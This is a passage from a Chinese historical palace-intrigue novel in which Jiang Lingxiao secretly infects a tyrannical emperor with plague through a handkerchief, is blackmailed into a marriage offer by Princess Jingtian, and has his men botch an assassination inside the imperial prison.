姜凌嚣飞步上前,掏出青手帕,捂在朱帝脸上:“皇上打出了汗,擦一擦,免得着风受寒。”
竞天还在控诉朱帝:“恶君,我恨毒了你!”
姜凌嚣催促竞天:“还不快走!”
竞天公主反应过来,来不及擦泪仓皇而逃。
朱帝使劲撇开脸上捂着的手帕,扔在地上,青手帕随风而飘,刮远了。
“手帕什么味儿,熏死我了!呕——”朱帝干呕,陶公公忙递茶来。
沈丘染生怕暴君将怒气转移到姜凌嚣头上,上前拍马朱帝墨宝天成,请赐一副给姜凌嚣挂在店里,好让各商户眼馋,今后争相献金献银。
姬有德也为姜凌嚣说话,朱帝爽快答应赏姜凌嚣一副字,“你就挂到玄虎堂最显眼处,让各商户好好学习学习怎么效忠于朕。”
陈锋令抢在前头研墨,沈丘染展开纸张,朱帝激情挥洒四个大字【儒商典范】
“行云流水,潇洒飘逸,墨宝天成啊皇上。”陈锋令大拍马屁。
“儒,写错了,右旁的需写成了雯。”姬有德憨笑着指出错别字。
朱帝一愣,找沈丘染作证:“是吗?”
沈丘染咬了下唇,憋笑:“臣是沙场上粗野惯了的,笔墨不通,只觉皇上写得好。”
陈锋令:“小姬学问浅,多读点书就知道皇上写的通假字。”
姬有德肯定:“写错了。”
朱帝缓缓放下笔,抽出戒尺,朝姬有德招招手:“手。”
一顿咣咣咣,姬有德左手也打烂了,陈锋令幸灾乐祸:“谁错了?”
姬有德憨声:“我错了。”
朱帝蘸着姬有德的鲜血,给姜凌嚣重写了副“通假字”墨宝。
赐完字,朱帝开始流泪,咳嗽,打喷嚏,已有染疫迹象。
众人争相为朱帝端茶润嗓,只有姜凌嚣伫立一侧旁观,暗自逞笑。
于太守在死前,别想见到皇帝了。
先帝遗诏中留给竞天公主两座待采山作为陪嫁,自昭告天下起,朝中大臣使出浑身解数推举自己亲信,明争暗斗额驸人选。
姬有德、陈锋令今日入宫,都是为了巴结朱帝,争取联姻机会,流连在镇和殿不肯走。沈丘染还要禀告公事。
姜凌嚣目的早已达成,带着“通假字”墨宝先行告退,行至御花园外的亭子,忽然从竹林里闪出个人影,将他拦住。
看到来人脸上的掴痕,姜凌嚣才能辩认出是竞天公主,“公主有何指教?”
竞天公主摇摇手帕。
是那块沾染了瘟疫的毒帕子!毒害朱帝的证据!
姜凌嚣震惊片刻,忙伸手要拿回:“原来是公主捡到了,谢谢。”
“我没说还给你。”竞天收回手。
“······”
姜凌嚣并不想牵扯无辜染疫,执意要回:“那是家母的遗物,请公主归还。”
竞天公主将手帕塞进自己袖口。
姜凌嚣板起脸,丢了客套,严肃警告:“公主未婚,收纳在下的贴身物件,”
“——必定个私定终身的罪名。”竞天公主抢话,“你上次还我簪子时就这么讲过。你留下我簪子,我收你手帕,礼尚往来。”
姜凌嚣咬了下牙,趁四下无人,抓起竞天的胳膊,要抢回罪证。
竞天公主红了脸,垂眸盯着他抓着自己的修长手指,声音微颤:“你在冒犯本宫。”
已然冒犯,姜凌嚣索性伸手到竞天的袖口掏。
无奈宫中女人的袖子繁复,姜凌嚣只熟悉小虎的直筒袖子,这下完全摸不到对地方,手指无意蹭到了竞天的皮肤。
竞天公主脸越来越红,低声威胁:“你再不住手,我就喊人。”
姜凌嚣置若罔闻,继续掏。
“来人啊!”竞天公主真喊了。
“······”
竹林外边闪过两个影子,宫女边找边着急:“竞天公主,出了什么事?您在哪儿?”
竞天公主挑衅地望着姜凌嚣,大声:“我在这里!”
他胆大包天,竟然还在掏。
“公主!”宫女的声音已到廊口,再进一步就看到这边的纠缠。
姜凌嚣终于松开竞天公主的胳膊,大步后退。
竞天公主朝他得意一笑,转身与宫女们汇合。
没拿回罪证,姜凌嚣气地甩手,下颌绷紧。赢了极权的男人,输在一个女人身上。
竹林外,响起姬有德和陈锋令边走边谈的声音。
“刚才是竞天公主的声音吗?”
“我怎么没听见?小姬爱慕竞天公主,出现幻听了。”
“公主虽美,但冷淡孤傲,不是我喜欢的类型。”
“那你在皇上面前腆着个骚脸大赞竞天公主?那些不娶她就会死似的话,又是从哪个X眼子喷出来的?!”
“你也在皇上面前表示爱慕竞天公主了呀,不耽误你转头就闝呀。”
“都贪图当驸马的好处,说也别说谁!”
污言秽语不堪入耳,姜凌嚣鄙夷,为免碰面,从另一条走廊离开。
谁知,刚拐出廊口,还是和俩恶心东西撞一块。
“姜兄!”姬有德十分高兴看到姜凌嚣,举着俩只未包扎的血手。
“你还没走?谁把你留住了?”陈锋令伸头到走廊看看。
“这里风景别
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致,贪眼,耽搁了一会儿。”姜凌嚣转身大步离开。
姬有德举着血手小跑,撵上姜凌嚣,“姜兄,那些银条你用的什么工艺化的?票号和金铺都难提纯到那个程度。”
“秘密。”姜凌嚣用冷淡堵死了好奇。
三人走到宫门时,碰见提着药箱的太医,行色匆匆。
就没有陈锋令不认识的人,朝老太医招招手:“阮太医,给谁诊脉去呀?”
阮太医步履不停,干巴巴打句招呼:“陈二爷,姬三爷。”无视朝中无名氏姜凌嚣。
姬有德热情为姜凌嚣介绍:“阮太医掌管着太医院,只有朱帝和太后才能唤得动他。”
姜凌嚣一脸关切:“不会是皇上吧?他刚才好像咳嗽了。”
姬有德举着血手:“真要是朱帝病了,你我都逃不了干系。”
说着无意听者有心,姜凌嚣脸色微变:“关我什么事?”
姬有德憨笑:“他打我打的出汗,你上前给他擦的脸,咱们朱帝就爱迁怒无辜,最后怪到你的帕子有毒有什么稀奇。还是陈二爷机灵,离朱帝远得很,只有在拍马屁的时候出现。”
毒手帕落在竞天手里,是个巨大的隐患。万一竞天感染,宫中一路追查下去,早晚查到毒手帕上。就算她有幸不感染,被人发现她留着个男帕,也早晚追查他头上。
怎么才能从竞天手里拿回毒手帕?姜凌嚣一筹莫展,随姬有德和陈锋令走到了宫门外。
耿正三人还在宫中交接银子,姜凌嚣无车回家。姬有德好心载他,“顺路。”
陈锋令也挤到同一辆车坐下,掏出个小瓷瓶,倒出粒粉药丸丢嘴里,又递到姬有德嘴边一粒。
姬有德举着血手摇头。
陈锋令又将药递到姜凌嚣嘴边:“吃了一块玩儿去。”
“什么东西?”气味可疑,姜凌嚣皱了下眉,别过头拒绝。
姬有德笑眯眯的:“陈兄要去青楼。姜兄一看身体就好,不用吃。”
陈锋令吊儿郎当:“吃了持久,玩儿起来爽。现在吃,到了正好起效。”
姜凌嚣马上撩起窗帘,宁可冷风吹的脸疼,也不愿和陈锋令呼吸同一片脏空气。
车子停住,姬有德到家,热烈邀请姜凌嚣做客,姜凌嚣拒绝,姬有德也不强人所难,命车夫一定把姜兄送回家。
又拐过一条街,陈锋令伸头到窗外,呼喝车夫:“前面万花楼停。啊,人固有一死,有人誓死做英雄,我偏要做个死在女人身上的风流鬼。”
就在陈锋令收回脖子时,阳光恰好照进他嘴里,闪过一丝金光,被姜凌嚣余光敏锐捕捉。
后槽牙有颗金牙!
姜凌嚣突然变得热情,企图引诱陈锋令再张嘴说话,好露出牙齿看个真切。
无奈,药开始起效,陈锋令浑身胀热,在座位上扭来扭去,无心和姜凌嚣闲扯,嘴都懒得张开。
马车猛刹,陈锋令“哎唷”了一声,姜凌嚣趁机俯身要去看他嘴里的金牙。
陈锋令却低下头:“它撅起来了。”
说罢,连忙跳下车,跑进对面的万花楼,头也没回。
26. 赎罪
玄虎堂门口挤满了衣衫褴褛的百姓,马车无处可停,只好驶向后院巷子口,姜凌嚣下车从后门穿到前堂。
孙大可和几个伙计联合起来堵着门口,不让百姓涌进来,“诸位看看门口告示,我们早就午后不营业了。”
哪有不让顾客进店的道理,姜凌嚣皱眉:“怎么回事?”
因兵力南下,西北防守又变得薄弱,闹了赤笛悍匪,运输线中断,炭价疯长,就算达官贵人家供炭也不及时,全城陷入饥寒交迫。
掌柜吕富全唉声叹气:“炭贵人命贱,路边冻死骨成车的往乱葬岗拉。这不,都到咱店来蹭暖呢。”
为了拖延刺杀于克明的时间,刚献出十万家底,拆东墙补西墙的玄虎堂也陷入财政危机,哪能供养得起毫无瓜葛的穷苦百姓。
姜凌嚣咬了咬牙:“一点炭,我们还是买得起的,放他们进来。”
吕富全十分为难:“东家不能啊。不是我狠心,这几天时疫闹得凶,这些人里但凡有一个染上的,放进屋里,咱玄虎堂可就成了传染窝点,到时候还不叫官府一把火烧了!”
“太平多少年了,哪儿来的时疫呢?”姜凌嚣不解。
“听说荆楚交界有个太平山,今年秋上失了大火,幸存下来的百姓活不下去,逃往京城要饭。路上有让老鼠咬了的,染病死了,传染了别人,一个传一个,打不住了。”
荆楚交界再也没有第二个太平山,就是自己无心引火又隔岸观火的那座山。他打破了太平,陷入了永无休止的不太平。
疫情的源头,竟是自己。死去的无辜亡灵,像鬼魂,无论姜凌嚣走到哪里,就纠缠到哪里。
他搭在桌上的手止不住地颤抖起来,六神无主。
此刻,他很想问一问小虎,世上既然有妖,是不是也有神,公平审判着每一个罪人。而他现在,罪行又该打入地狱第几层。
“东家?”吕富全从未见姜凌嚣如此失态,轻声喊他,“您怎么了?”
姜凌嚣渐渐回神,抬起的眸子里噙满了懊恼悔恨,“吕掌柜,这世上有报应吗?”
吕富全全然不知姜凌嚣背地里做的那些事,向来谨小慎微:“不好说,好人常不得好报,坏人不见得有惩罚,但一定有因果。”
玄虎堂贴出新告示,保持之前的只上午营业,但下午到晚上不间断提供免费的防治时疫的药汤和热米汤,需要各人自己带碗来打,以免混用了相互传染时疫。
姜凌嚣叮嘱吕富全:“除了玄虎丹,店内其它草药不得涨价。老百姓的救命钱,我们不赚。”
热药热汤,撑不着人,但足以让穷苦百姓苟活过这个冬天。
受了恩惠的百姓捧着破碗,给姜凌嚣下跪,跪了一片,喊他“菩萨”。
姜凌嚣受之有愧,扶起一个个衣衫褴褛的百姓,心有戚戚焉。
他在赎罪。一份份罪行数来,能挽回的还有多少?他忽然想起眼前还有一个,竞天,她碰过毒手帕。
孙大可他哥是倒腾炭的,玄虎堂的炭就是他哥供的。别人搞不定的炭,他囤有几个山洞。
一个时辰后,姜凌嚣拉着一车炭登门阮府,拜见阮太医。
阮太医是姜凌嚣外婆的同门师兄,玄虎堂能重新开业,他老人家也暗中出了不少力。玄虎堂盈利后,他更是得了不少分红。
今日在宫中,阮太医只装作不认识姜凌嚣,免得被人知道了生出许多事端。
“家里正愁拿钱都买不着炭呢,真是雪中送炭。”阮太医看到满车的炭,紧皱的山羊脸笑开了花,张罗下人收好。
一番寒暄后,姜凌嚣进入正题,谎称前几天染了时疫,今日进宫竞天公主帮自己捡过帕子,恐将时疫传染给她。
能在宫中混到老,做人绝对一等一的聪明。不消点破,阮太医就明白了姜凌嚣的来意,他捋着山羊胡笑:“反正我晚上还要进宫守着皇上,顺道看看竞天公主。”
姜凌嚣不确信:“没有公主召见,能擅自前去诊病?”
阮太医捻须微笑:“我自有办法。晚上等我消息。”
傍晚,呼啸的北风将天地吹得昏暗,风中夹杂着粗糙的冰雪粒。不到一个时辰,地上已积了一层冻雪。
从朱帝开始,一个接一个倒下,宫中瘟疫漫延,医药紧张起来。
朱帝、太后那里多到用不完,冷宫里等不到医药的废妃、宫女、太监,已死了好几个,拿草席一裹,拉出宫。
地上留下一条又一条长长的拖痕,蜿蜒在各宫门口。
得志的主子宫门前,都有太监挥着扫把清雪。上善宫前让雪埋了,殿内更是冷冷清清。
窗缝上糊着的纸张被寒风撕碎,灌进没生炉子没点灯的殿内,屋里比外面还冷。
两个穿着显旧的宫女跪在床边抹泪,口鼻围着纱巾。
若善公主染疫,太医来过一次,便再也传不动了,她病得卧床不起,躺着等死。
忽闻殿外有了动静,一宫女起身去看,回来高声雀跃:“竞天公主驾到!”
竞天公主带着宫女秋绘登门,送炭送药,不惧瘟疫,亲自喂妹妹若善服药吃饭。
有了炭,殿里生起火,很快暖和起来。
吃了药,若善能挣扎着坐起来了,病容让她本就苦相的脸更加憔悴,“姐姐,我恐怕难活过冬,省下炭,你留着用吧。”
竞天公主坐在床头,为妹妹擦泪:“你贵为公主,说这些丧气话!”
若善指着自己的宫女,苦眼婆娑:“瞧她们瘦的,穿着单薄破旧,跟着不得志的主子遭罪。我一病,别人以为我要死,抢走了太监,只留下她们两个。我死后,姐姐收进宫,也算她们有福。”
两个宫女跪下哭泣。
竞天公主抚着脸上被朱帝砸的肿痕,哽咽:“世人听到宫中就觉类比天庭,以为荣华富贵平等分享。殊不知,倾轧争夺和民间无异。你我虽顶着公主的好听头衔,不也照样挨打挨骂,看着脸色生活。”
“姐姐还好,有太后撑腰。”
竞天冷哼:“在朝堂前男人的眼里,我们后宫女人不过政治棋子,皇帝不照样想让我和亲拜基藩国吗?”
若善摇摇头:“先帝疼爱姐姐,留给你两座山,出于财不外流,皇帝也不会让你去和亲,他撒气罢了。要和亲,也是将我推出去。这样想来,病了也有好,真要病死了,就不用去和亲。”
竞天握着若善暖和不过来的手,心疼:“去到南方,起码不用冬天
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受冻。”
若善望着竞天:“可我不想南下。”
“你还不知道对方长什么样,什么品行,或许不错。反正和亲后,大小也是一国之后,总比现在好得多。”
若善抓紧竞天的手,簌簌落泪:“我不想离开姐姐你啊!我母后死的早,要不是你时常带着我玩,先帝压根记不起还有我这个女儿。每一个公主的婚嫁都是利益勾连,我不止一次想过,就算拿我做棋子,也不要离你太远,这样我活着还有盼头。”
竞天受了震撼,搂住若善,头靠在一起,“你会好起来,我们都不去和亲,偏不做他们的棋子。”
回到竞安宫,灯火辉煌,宫女林立,竞天撩开帘子进了暖殿,挑灯阅卷,实则在书下摆弄一方青色男帕。
宫女在帘外禀报:“公主,阮太医来了。”
竞天公主藏起帕子在书下:“我又没请他。”
宫女小声:“您的月信不调,又超两天了。想是阮太医尽心,不请自来。”
“那就请他进来吧。”
帘子撩起,阮太医进来。诊脉后,断定:“公主肯定断药了。”
“太苦了,吃不下,这次给换个利口点的。”竞天公主低头翻书。
“那我换个方子。”
阮太医铺开诊籍占了满桌子,竞天只好合上书走到一边,将一方天地让给阮太医。
匆匆记录后,阮太医起身:“一个时辰后,由太医院熬药端来。不叨扰公主了,老臣先退。”
枕无忧客栈门口,阮太医瞅瞅四下无人,从袖筒抽出一条青色男帕,并不讲明怎么弄来的。
姜凌嚣也不问,默默接过来,路过走廊里的泥炉,将帕子丢进炉口。
青方帕燃烧起来,罪证消灭。
接下来,暂且顾不上调查陈奉令的金牙,应当先紧锣密鼓刺杀于克明。
阮太医马车刚到家门口,宫中派人前来传召。
进了宫才知道,不是朱帝要见他,而是竞天。
人口繁多的竞安宫,此时只有竞天公主在,一脸的迎战姿态。
阮太医眼中闪过一丝不妙,但老练淡定:“不知公主召臣前来······”
竞天公主打断:“本宫书下的那块男帕呢?”
“老臣不知。”
竞天开门见山:“姜凌嚣支使你偷的那块。”
阮太医语气笃定:“他从未这样支使过老臣。”
“他?听语气,你跟他很熟悉?”
阮太医愣了一下,收敛口风:“公主深居宫中都知道姜凌嚣,可见他与沈家的恩怨故事广为流传,那么老臣知道这号人,不足为奇。”
“看来帕子已经让烧了,或者扔了,销毁了真凭实据,你当然不认。”
阮太医作揖:“人人都说公主博学,今天真长见识了,张嘴就是异想天开,引人入胜,曲折恐怖。”
“本宫再给你讲个更吓人的。”
阮太医老猪不怕开水烫:“公主爱讲,老臣愿闻其详。”
“那你耳背吗?需要讲几遍?”
“臣虽老,但耳聪目明。一遍就行。”
竞天公主一字一句:“转告姜凌嚣,本宫要他做驸马。”
27. 贼船
竞天公主的婚事,朝廷各方势力都想掺和,明争暗斗,阮太医可不想卷进去,眨巴眨巴山羊眼,推脱:“老臣是太医,不是牵线的月老。”
竞天端起桌上的药碗,故作大声嗅了嗅,递到阮太医面前:“你给本宫开的调月信的药,怎么熬出来跟治时疫的汤子一个味?”
方才喂若善吃治时疫药的时候,她闻到过。
一个太医和姜凌嚣暗地里联手,冒险偷公主的手帕,必是那手帕重要无比。姜凌嚣献银时,她见他拿那手帕给朱帝擦过脸,朱帝很快就病了。
竞天刹那就明白了让朱帝生病,是姜凌嚣的阴谋。但这个人,胆大妄为同时,还怕她染病死了,让阮太医给换药防治,算是恶中有义。
她指着阮太医警告:“你再狡辩,本宫现在就喊太医院集体来验证这药。到时候查出来你私自改了药方,本宫第一个跳出来说你谋害公主,让皇帝杀个痛快。”
阮太医没料到看着柔的竞天这么刚硬,他倒吸了一口凉气,变得乖巧:“我去说就是了呀。”
客栈书房,姜凌嚣和耿正等人在密谋如何在天牢内暗杀于克明。
忽然招风耳做个“嘘”的手势,又是一连串“有人上了二楼,拐过了走廊”的手势。
外面压根并无动静。
直到招风耳做到“现在到了门口”的手势时,门立刻被急切叩响。
耿正等人迅速掩到窗帘、书架后面,暗处防备。
姜凌嚣前去开门,见是阮太医,愣了一下。
阮太医轻易不和他联络,今晚已是第二次见面,而且这个时辰他应该在宫里守着朱帝,除非······朱帝出了变故。
害朱帝染上时疫,不过是阻止于克明面圣,好争取锄灭的时间。姜凌嚣从无忤逆之心,十分担忧:“难道朱帝病情加重了?”
老头就着油灯点着旱烟袋:“那倒不会。他再吃几副药就能下地继续扇人了。”
“······”
朱帝暴躁,真是人尽皆知。
姜凌嚣:“那您深夜返回来,是为何事?”
阮太医深深吐出个烟圈,“竞天公主什么都知道了。”
姜凌嚣变脸,“她怎么会知道?”
“宫里才是全国心眼子玩得最花的地方,你当人家白待了?”阮太医可不会自爆是自己的药方子被识破了,他拍拍姜凌嚣肩膀:“别着急上火,她现在还没揭发你的意思。”
“那她什么意思?”那个竞天,一直言行怪异,姜凌嚣眉心竖起几条纹路。
“她让我转告你,娶她。”
“什么?谁娶她?”
阮太医拿肩膀拱了一下姜凌嚣:“你呀,偷着乐吧。”
“……”
竞天具体长什么样,姜凌嚣回想起来,压根就没个印象。毫无儿女情长的依据,更显这要求的荒谬,他一口回绝:“这不可能。”
“哼,竞天公主是地位配不上你,还是姿色配不上你?”
“都不是。”姜凌嚣压根就没考虑过小虎之外的人。
“我知道,你有个相好的姑娘。是,不可否认她古灵精怪,挺讨人喜欢的,男人嘛,想当年我也有个相好······”阮太医神往一下年轻时,很快言归正传,“但竞天可是公主,还拿捏着你我的把柄。”
姜凌嚣最受不了别人威胁,那个竞天一而再,再而三的犯他忌讳,他咬牙切齿:“我是卖丹的,不是卖·身的。”
“活在这世上,谁不是出来卖的呢?卖时间,卖劳力,卖妻卖女,卖主求荣,只是每个人卖的不一样而已,很多时候想卖也没人买。卖自己还比卖别人有志气些。我出卖医术,整天被宫里使唤得跟三孙子似的,就比你卖·身高贵吗?还不是我这老身子板没人要!你不要荒废了自己的年轻漂亮嘛。”
姜凌嚣听得屈辱,咬紧唇线,一副绝不屈从的神情。
阮太医突突突抽着旱烟袋,烟雾笼罩着他的山羊脸,像在烤炙活羊,他叹口气:“你返京后的这个冬天,我要么缺炭冻死,要么跟你同流合污诛灭九族,我偏偏选了诛九族。那车炭,真是贵的要、命!”
姜凌嚣真心赔罪:“我实在无意拉您下水。”
“那你赶紧娶了公主,拉她一起上贼船。竞天跟朱帝一母同胞,想当她驸马的那是争破了脑袋。我是荣养京城,还是举家跑路,得看你的抉择。你好好考虑考虑,我回家等你消息。”
姜凌嚣一意孤行:“我现在就可以给您答复,我和竞天不会有任何瓜葛。”
阮太医卷起旱烟袋拔腿就走,姜凌嚣客套挽留:“您不再坐会儿?”
“来不及了,跑路。”阮太医噘嗒噘嗒出了客栈。
耿正等人从帘子后面陆续出来,同情地看着姜凌嚣,他装作无事发生,拽过书桌上的计划图,继续商议暗杀于克明。
清早,天牢高墙上有重兵负箭来回巡逻。
墙外,是一大片空地,无植被无建筑,以防被埋伏劫狱。
一群杂工散布在空地上铲冰,捡马粪,狱卒时不时挥鞭子抽人。
马帮壮汉身材魁梧,乔装后依旧在人群里高壮的突出,一有风吹草动很容易被发现。死鱼眼和招风耳刚瞥向天牢大门,就挨了鞭子。
招风耳下意识要还手,死鱼眼使个眼色,招风耳忍下气,继续捡马粪。
白干了一天活,天牢大门始终紧闭,毫无进去的机会。
夜间,死鱼眼和招风耳遛出杂工队,回来客栈禀告详情。
从决定复仇那天开始,什么都要等,因为漫长的等待,发生了太多无法预料的波折,姜凌嚣早已厌倦。
无需点破,屋内人人都知道,冒险争取来的刺杀机会,再等下去,朱帝就要痊愈了,提审于克明会即刻提上日程,再无二次阻止的机会。
一旦揭露罪行,以朱帝的性子,必将血洗玄虎堂和姜宅。
跟之前的每次困难一样,又是进攻或撤退的抉择。
姜凌嚣眉尖挑起来,喉结耸动了很久才发出声:“等。”
他再次选择进攻,复仇势必一条道走到黑。
死鱼眼和招风耳在杂工队混到第三天,天牢大门终于开出一道缝,狱卒喊杂工:“来两个杂碎,给官爷们洗衣裳!”
杂工队丢下铁锹扫帚,争先恐后跑向大门,抢一个不用受冻的机会。
健全人不要,尤其矫健的死鱼眼,直接被狱卒推开,选中没耳朵的招风耳和一个独眼老头进了大门。
狱卒叮嘱看门人:“残疾闯不了大祸,样子
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也好记,一会儿出来直接放行。但记住,同进同出,不许落单,省得有人捣蛋。”
进了天牢,招风耳跟在狱卒身后,偷偷观察地形。
外墙巨高,内牢低矮,道路曲折,六个牢口,重兵把守,机关重重,无从知道于克明关在哪个牢口。
拐进洗衣房,一股浓烈的汗臭味脚臭味扑面而来。
狱卒指着堆成山的狱卒服和靴子:“洗得干净的话,下回有好活儿还叫你俩。”
独眼老头连连点头哈腰,拽过靴子就刷。招风耳憋住呼吸端过洗衣盆,装模作样浸泡衣服,伺机寻找下手机会。
湿衣裳晾满五条晾衣绳,招风耳站在洗衣房外喘息,侧着无耳四处警惕声音。
身后洗衣房的搓衣声,前方十米左右看守交接班的说话声,远处高墙上狱卒的咳嗽声······招风耳听得清清楚楚。
忽然,这些杂音里夹杂了微弱的沉重的镣铐拖地声。
招风耳忙贴住洗衣房墙根,悄悄溜到屋后墙角,探出半边脑袋。
墙角前方,停着一辆囚车,一队狱卒押着一个头戴铁盔铁嚼子、身着铁桶、脚套铁脚蹼的囚犯,哗啦哗啦拖着镣铐走向囚车。
这个打扮的犯人,必是于克明无疑。
招风耳掏出淬毒飞镖,眯眼,寻找铜头铁臂的破绽。
穿着铁脚蹼,难以爬上囚车,狱卒抱怨:“快点!太后等着提审呢,拖拖拉拉,脑袋不要了?”
另一狱卒:“不是皇上提审吗?”
“瘟疫泛滥,龙体抱恙。”
“搭把手,一起把他抬上去。”
刚费劲把于克明抬上囚车,有人来报:“太后凤体染恙,等下次提审!”
几个狱卒骂骂咧咧,不肯再搬运一次囚犯,商量:“反正有脚铐拴着,给他把这鸭子蹼取了,让他自己滚下来。”
除去铁脚蹼,于克明脚踝露出来的同时,飞镖“嗖”一下从招风耳手中飞出去。
“砰”的一声,中镖人倒地,当场死亡,押解队伍顿时乱做一团,天牢顿时想起急促的警号声和集合声。
招风耳即刻转身回了洗衣房,喊一起进牢的老头:“头儿说让我们出去捡粪,快点,晚了又挨鞭子。”
独眼老头扔下衣裳,随招风耳匆匆出了天牢大门。
高墙上哨兵集体举着弓箭对准墙内,寻找暗杀要犯的凶手。
拿鞭子监督杂工的狱卒问招风耳:“杂种,里面发生了什么事?”
招风耳招招手,让狱卒附耳过来,迅雷不及掩耳之势抢过鞭子,勒死了狱卒,报了一鞭之仇。
独眼老头吓傻了,反应过来后,逃之夭夭。
将狱卒死尸扔到地上,招风耳撕下耳朵上黏紧的胶布,露出两只异常支棱的招风耳,和死鱼眼逃跑。
回到客栈,招风耳汇报完,耿正绝望地闭上三角眼,姜凌嚣紧紧攥拳,无声叩在桌上,指尖摁到发白。
是成功刺杀了一个人,但是不是于克明。
——于克明刚露出脚踝,狱卒催促“快点”时,抬腿踢了于克明一脚,仅这么一刹那,便倒霉地做了替死鬼。
刺杀失败,惊动了朝廷,更将于克明严防死守保护,单独提审变成朝堂公审,就在明日一早。
28. 笼
姜凌嚣看了看满屋子跟他卖命的人,眸光闪过一丝决绝,转身出门。
耿正上前拦住他:“你要去做什么?”
“联手竞天。”
“她一个没实权的公主,你找她联手杀朝廷命官,不止风险大,起效的可能性也极小,还不如我们先撤退,保存实力,今后伺机卷土重来。”
以往的多次化险为夷,让姜凌嚣渐渐变得愈难愈爱斗,他第一次对耿正发火:“先扪心自问,刺杀于克明那么重要的时刻,为何你不在?所以才让他们两个去,最后坏了事!”
耿正咬了下嘴唇,没有解释关节时刻消失的原因。
姜凌嚣冷冷睨了他一眼,一意孤行出门。
闹市口,小虎拉着紫玉来赶大集,四处凑热闹。
凡是没见过没玩儿过的东西,小虎都觉新鲜,看到前面有个小摊支了口大锅在翻炒栗子,她抢过小贩铁锹,吭哧吭哧自己炒,紫玉拉都拉不住,惹来一群人围过来看热闹。
紫玉感觉余光里有个不一样的身影,一抬头,果然是姜凌嚣站在人群中,他的目光独独落在忙碌的小虎身上,始终没看到旁边的她。
她看了他半天,他才发觉被发现了,紫玉一时慌乱,去拉小虎的胳膊,他在人群中竖起食指,做了个“嘘”的手势。
以为他有别的事急着走,不便打招呼,紫玉不敢耽误他,收回拉小虎的胳膊。没一会儿,却发现他绕了过来,站到了小虎旁边。
紫玉知趣地让出最靠近小虎的位置,眼神随姜凌嚣而动。
围观的人给小虎喊起拍子,她鼓起劲儿,犯了病一样卖力炒栗子,没一会儿气喘吁吁,满头大汗。
姜凌嚣忙拽住袖口,上前帮她擦擦鬓角。
“去去去,谁这么没眼力介,没见我忙着呢吗?”小虎一心记挂着栗子不要糊锅,忙得不抬头,一肘子捣在姜凌嚣腹部。
他欠了下腰,捂着腹部挤出人群,看热闹的立刻占了他的位置。
紫玉关切跟过来,想扶他,又怕他不喜欢,不敢触碰他,束手束脚:“您没事儿吧?”
姜凌嚣挺直腰背,收敛笑眼,并不正视紫玉:“没事。防治时疫的药,给小虎和丘染喝过了吗?”
时疫要命,他关心的人里,没有她,尽管她为他卖命,不惜背叛对她最好的小虎与沈丘染。
她,不过是他战局里的一颗棋子。
紫玉猛然眼中一酸,整个人都黯淡下来:“他们都喝过了。”
“那就好。”
姜凌嚣的眼神越过人群,又看向小虎,她忙得热火朝天,没有他的日子,她竟过得如此开心,招人喜欢,他感到安慰同时又略微失落。
他也有被扫兴,被冷落,被随意对待,紫玉有隐隐的痛快。没有单独与他待下去的理由,她转身离开。
等紫玉装作不经意间再回头,姜凌嚣早已不在了。
小虎炒好的栗子,商贩以她当卖点,很快售罄,撺掇她继续白卖力:“美人栗子,大家都爱。”
二杆子哪儿禁夸,小虎顾不上歇息,吭哧吭哧又挥起铁锹。
围观的顾客一人一句瞎指挥,这个让这么炒,那个让那么翻。
“谁行谁上!”小虎累的把铲子一摔,要发脾气,抬眼一瞥,恰好看到人群外鹤立鸡群的姜凌嚣。
他背对着这边,沿着街匆匆前行,手里提着个精致秀气的金丝鸟笼,里面关着一只画眉。
小虎喜不自禁,马上就要冲过去要鸟,小贩拖住她:“别走呀,炒糊了这锅都得是你的。”
姜凌嚣放小虎在外好几天,来市场上却不是接她回家,买了画眉也不是给她,又这样行色匆匆,必有大事。
紫玉生怕小虎误事,连忙拦住她:“三爷要给你个惊喜,你且耐心等着罢!”
炒糊的栗子,小贩忽悠着卖给了小虎。
她用裙摆兜着糊栗子,坐在街边咔嚓咔嚓啃,吃了满嘴灰。
有人路过瞅了瞅,“咣当”扔了个铜板过来。
“该死的把你当成了乞丐,看我骂他有眼无珠!”紫玉生气,上前要与人理论。
小虎拉住紫玉,三两下涂了满脸黑,沿街作揖讨钱:“大娘大爷行行好,路过的给俩子儿吧,金子最好,银子不挑,实在不行也收铜板!”
“······”
紫玉蹲在小虎身边一直不说话,眉头微蹙,小虎察觉:“你有心事?想要什么,我讨了钱给你买。”
“我想要的,买不到,这辈子都不可能了。”紫玉勉强挤出个笑容。
“什么东西这么难得到?”
不能道出真相,紫玉憋得苦闷:“一个曾为我出头的男人。”
“你喜欢他?那个男人知道吗?”
紫玉欲言又止,眼皮微红,“他爱上了一个我也喜欢的女人。”
“你管他爱谁,喜欢就去抢,谁抢到算谁的。”
以紫玉的性格,什么都敢去争取,但她决不会因为任何男人而离间了自己和小虎的情谊,紫玉摇摇头,握起小虎的手:“我跟谁抢,都不能跟这个女人抢。”
小虎笑:“你是喜欢那个男人为你出头?还是爱那男人本身,不管他变成什么样?”
还从没仔细想过这个问题。紫玉愣了一下,变成姜凌嚣的这个,让她惧惮,想要挣脱,令她念念不忘的,想要追随的,是那个早已远去的侠义潇洒的沈凌嚣。
“好像……我只喜欢他为我出头。”
小虎切了一声:“那你爱的是正义,再去喜欢别的正义男人就是了。”
紫玉豁然开朗,郑重:“好,换个男人喜欢。”
竞安宫,太后的贴身大宫女上官赫带人送来一车炭,若干补品和点心。
卸炭时,上官赫训诫竞安宫里的奴才:“守住家,先紧着自个主子,要是连公主都没炭烧挨了冻,可真成了天大的笑话。”
听这话的意思,竞天去看若善,前脚才去送了炭,后脚太后已经知道了。
竞安宫内,有告密的内奸。
上官赫走后,竞安宫内全员出列,竞天公主警告:“你们少和别宫的奴才乱搭话,免得被人当成对食或勾结宦官,万一闹出了不名誉,本宫第一个不饶你们!”
虽有眼线监督,但她脾气不改,照样把点心
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和补品转送给若善。
傍晚,阮太医前来竞安宫复诊,提溜只精致秀气的金丝鸟笼,美其名曰逗逗鸟可纾解忧虑,有助竞天公主月信规律。
笼中两个小水碗和两个小食盒,却跳跃着单只画眉。
难道他的意思是,应了她的驸马之邀,等今后成了夫妻,他给她补全另一只鸟时,再说一句“现在它们才双全”?
他竟然这么会暗暗调情?
一股猛烈的暖流击中竞天。仅凭一只画眉,她独自补全了一场残缺的情戏,自己把自己哄了个晕头转向。
宫女林立,人多眼杂,阮太医只一昧闭着眼把脉,“公主平日都读什么书?”
竞天公主知道这是为姜凌嚣传话而铺垫,装模作样答了几句。
